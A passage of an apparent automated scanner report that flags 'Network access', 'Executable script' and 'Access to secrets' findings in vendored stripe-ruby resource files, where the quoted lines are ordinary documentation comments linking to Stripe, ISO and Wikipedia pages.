    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription),
  • Network accessline 10
    # [share a Payment Link](https://docs.stripe.com/payment-links),
  • Network accessline 11
    # [accept payments with Checkout](https://docs.stripe.com/payments/accept-a-payment#create-product-prices-upfront),
  • Network accessline 12
    # and more about [Products and Prices](https://docs.stripe.com/products-prices/overview)
  • Network accessline 63
    # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product.
  • Network accessline 73
    # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table).
  • Network accessline 75
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 87
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/product_feature.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/promotion_code.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # You can create multiple codes for a single promotion.   #   # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves
  • Network accessline 7
    #   # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal.   # Customers
  • Network accessline 8
    # If you enable promotion codes in your [customer portal configuration](https://docs.stripe.com/customer-management/configure-portal), then customers can redeem a code themselves when updating a subscription in the portal.
  • Network accessline 48
    # Promotion code restrictions defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 54
    # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount
  • Network accessline 83
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/quote.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 57
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 58
    # It contains information about when the discount began, when it will end, and what it is applied to.               #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun
  • Network accessline 60
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 148
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 149
    # It contains information about when the discount began, when it will end, and what it is applied to.               #               # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discoun
  • Network accessline 151
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 338
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to 
  • Network accessline 357
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 358
    # It contains information about when the discount began, when it will end, and what it is applied to.           #           # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 360
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 457
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 473
    # Details of the quote that was cloned. See the [cloning documentation](https://docs.stripe.com/quotes/clone) for more details.
  • Network accessline 487
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 489
    # A unique number that identifies this particular quote. This number is assigned once the quote is [finalized](https://docs.stripe.com/quotes/overview#finalize).
  • Network accessline 493
    # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 552
    # A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote).
  • Network accessline 582
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh
  • Network accessline 592
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh
  • Network accessline 622
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)
  • Network accessline 635
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/early_fraud_warning.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # charge may be fraudulent.     #     # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)
  • Network accessline 9
    # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/value_list.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Value lists allow you to group values together which can then be referenced in rules.     #     # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 8
    # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 34
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/value_list_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Value list items allow you to add specific values to a given Radar value list, which can then be used in rules.     #     # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)
  • Network accessline 8
    # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/recipient_transfer.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/refund.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # initially charged.   #   # Related guide: [Refunds](https://docs.stripe.com/refunds)
  • Network accessline 9
    # Related guide: [Refunds](https://docs.stripe.com/refunds)
  • Network accessline 632
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 646
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 664
    # Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reporting/report_run.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # When the report has finished running, it will give you a reference to a file     # where you can retrieve your results. For an overview, see     # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).
  • Network accessline 9
    # where you can retrieve your results. For an overview, see     # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).     #
  • Network accessline 10
    # [API Access to Reports](https://docs.stripe.com/reporting/statements/api).
  • Network accessline 11
    #     # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 13
    # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 38
    # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva
  • Network accessline 62
    # The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`.
  • Network accessline 75
    # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reporting/report_type.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # the "Activity summary" or "Itemized payouts" reports. These objects are     # identified by an ID belonging to a set of enumerated values. See     # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)
  • Network accessline 8
    # identified by an ID belonging to a set of enumerated values. See     # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)     # for those Report Type IDs, along with required and optional parameters.
  • Network accessline 9
    # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api)
  • Network accessline 11
    #     # Note that certain report types can only be run based on your live-mode data (not test-mode     # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 13
    # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes).
  • Network accessline 28
    # The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reserve_transaction.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reversal.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a
  • Network accessline 9
    #   # Reversing a transfer that was made for a [destination   # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of
  • Network accessline 10
    # Reversing a transfer that was made for a [destination   # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of   # the charge. It is possible to reverse a
  • Network accessline 11
    # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of
  • Network accessline 12
    # the charge. It is possible to reverse a   # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options)   # transfer only if the destination account has enough balance to cover the
  • Network accessline 13
    # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options)
  • Network accessline 15
    # reversal.   #   # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers)
  • Network accessline 17
    # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers)
  • Network accessline 32
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 38
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/review.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Reviews can be used to supplement automated fraud detection with human expertise.   #   # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments
  • Network accessline 6
    #   # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments   # [here](https://docs.stripe.com/radar/reviews).
  • Network accessline 7
    # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments
  • Network accessline 8
    # [here](https://docs.stripe.com/radar/reviews).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/setup_attempt.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 501
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 505
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 507
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 509
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 527
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 529
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 531
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 532
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 533
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 535
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 541
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 542
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 543
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 545
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 546
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 547
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 549
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 550
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 551
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 552
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 553
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 554
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 555
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 556
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 559
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 561
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 576
    # The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation.
  • Network accessline 584
    # The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation.
  • Network accessline 586
    # The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation.
  • Network accessline 598
    # The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation.
  • Network accessline 610
    # The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/setup_intent.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.   # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting 
  • Network accessline 6
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.   # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.   #
  • Network accessline 7
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 9
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.   # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.   # The SetupIntent transitions through multiple [statuses](ht
  • Network accessline 10
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.   # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides   # you through the se
  • Network accessline 11
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 13
    #   # Successful SetupIntents result in payment credentials that are optimized for future payments.   # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 14
    # Successful SetupIntents result in payment credentials that are optimized for future payments.   # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through   # [St
  • Network accessline 15
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 16
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 17
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 18
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 19
    # it automatically attaches the resulting payment method to that Customer after successful setup.   # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on   # PaymentInt
  • Network accessline 20
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 23
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.   #   # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 25
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 37
    # Controls whether this SetupIntent will accept redirect-based payment methods.       #       # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste
  • Network accessline 39
    # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may 
  • Network accessline 54
    # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one.
  • Network accessline 58
    # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 60
    # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one.
  • Network accessline 62
    # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported.
  • Network accessline 80
    # authentication flows and ultimately creates at most one successful charge.       #       # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 82
    # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents)
  • Network accessline 84
    # PaymentMethod objects represent your customer's payment instruments.       # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 85
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 86
    # Customer objects to store instrument details for future payments.       #       # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme
  • Network accessline 88
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 94
    # A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments.       # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect
  • Network accessline 95
    # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment.       # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.       
  • Network accessline 96
    # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow.
  • Network accessline 98
    # Create a SetupIntent when you're ready to collect your customer's payment credentials.       # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [stat
  • Network accessline 99
    # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid.       # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides       # you throug
  • Network accessline 100
    # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides
  • Network accessline 102
    #       # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr
  • Network accessline 103
    # Successful SetupIntents result in payment credentials that are optimized for future payments.       # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through    
  • Network accessline 104
    # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through
  • Network accessline 105
    # [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection
  • Network accessline 106
    # to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents).
  • Network accessline 107
    # If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer),
  • Network accessline 108
    # it automatically attaches the resulting payment method to that Customer after successful setup.       # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on       # Pa
  • Network accessline 109
    # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on
  • Network accessline 112
    # By using SetupIntents, you can reduce friction for your customers, even as regulations change over time.       #       # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 114
    # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents)
  • Network accessline 313
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 342
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Access to secretsline 585
    [Credential-related source omitted]
  • Network accessline 614
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 622
    # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_object-payment_method_detai
  • Network accessline 624
    # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent.
  • Network accessline 628
    # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type).
  • Network accessline 632
    # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded`.
  • Network accessline 639
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 641
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 651
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 653
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 709
    # Creates a SetupIntent object.     #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 710
    #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)     # it to collect any required permissions to charge the payment method later.
  • Network accessline 711
    # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/shipping_rate.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Shipping rates describe the price of shipping presented to your customers and   # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping).
  • Network accessline 6
    # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping).
  • Network accessline 78
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 105
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 111
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/sigma/scheduled_query_run.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # attached to customers.   #   # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 9
    #   # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).   # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 10
    # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 11
    # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 12
    # This newer API provides access to our latest features and payment method types.   #   # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 14
    # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 439
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 447
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 462
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 470
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 673
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 681
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 713
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Access to secretsline 819
    [Credential-related source omitted]
  • Network accessline 824
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources.
  • Network accessline 842
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 870
    # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `sepa_debit`, `sofort`, `three_
  • Network accessline 882
    # Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged.     #     # This request accepts the metadata and owner as arguments. It is also possible to update type spec
  • Network accessline 884
    # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source_mandate_notification.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 77
    # attached to customers.     #     # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 78
    #     # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).     # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 79
    # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
